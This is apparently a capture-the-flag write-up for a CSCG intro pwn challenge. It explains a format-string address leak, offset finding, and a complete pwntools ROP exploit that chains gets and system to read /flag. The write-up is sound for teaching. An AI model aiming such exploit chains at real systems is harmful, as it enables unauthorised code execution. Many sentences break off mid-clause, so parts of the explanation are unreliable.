This intro challenge first gives us a training binary and then a real challenge binary. The training part teaches the basic idea: leak an address, calculate where the
The training binary is compiled with PIE, so the program is loaded at a different base address each time. That means we cannot hardcode the address of the win function. Luckily, the binary also has a format string leak, so we can print stack values with
Using a payload with many pointer leaks gives us values from the stack:
%p|%p|%p|%p|%p|%p|...
While the process is running, I attached
pwndbg -p $(pidof pwn1)
vmmap
One of the leaked pointers pointed into
0x5612d1000af4
Then I asked
WINgardium_leviosa = 0x5612d10009ec
So the win function is always
hex(0x5612d1000af4 - 0x5612d10009ec)
# 0x108
The next step is finding how many bytes are needed to reach the saved return address. For this I used pwntools' cyclic pattern. After the program crashed, the stack contained part of the pattern at
cnaacoaacpaacqaacraac...
Asking pwntools for that position gives the offset:
cyclic_find("cnaa")
# 251
So the training exploit is:
The extra
After adding the alignment gadget, the training exploit gave a shell:
~ Protego!
┌───────────────────────┐
│ You are a Slytherin.. │
└───────────────────────┘
$ whoami
pepe
The actual challenge binary is a small 64-bit Linux program with the classic beginner pwn setup:
RELRO: Partial RELRO
Canary: No canary found
NX: NX enabled
PIE: No PIE
The important part is that there is no stack canary and no PIE. No canary means we can overwrite the saved return address without being stopped by a stack check. No PIE means the binary is always loaded at the same addresses, so addresses like
The vulnerable function again reads into a stack buffer, this time with a very obvious
void vuln() {
char name[16];
printf("What is your name?\n");
gets(name);
printf("Hello %s!\nI have a present for you: %d\n", name, 0xc35f);
}
There is also a
void win() {
system("echo no cat /flag for you");
}
Jumping to
On x86_64 Linux, the first function argument is passed in the
The offset to the saved return address is
With pwntools, the exploit becomes:
from pwn import *
HOST = "neujx2zgcohzskxtinzqzf4iou-1024-intro-pwn-1.challenge.cscg.live"
PORT = 443
elf = ELF("./intro-pwn-1/intro-pwn")
rop = ROP(elf)
p = remote(HOST, PORT, ssl=True, sni=HOST)
offset = 24
pop_rdi = rop.find_gadget(["pop rdi", "ret"]).address
bss = elf.bss() + 0x100
payload = flat(
b"A" * offset,
pop_rdi,
bss,
elf.plt["gets"],
pop_rdi,
bss,
elf.plt["system"],
)
p.recvuntil(b"What is your name?")
p.sendline(payload)
p.sendline(b"cat /flag")
print(p.recvall(timeout=2).decode(errors="ignore"))
The first
Running it gives the flag:
CSCG{15_7h15_R0P??}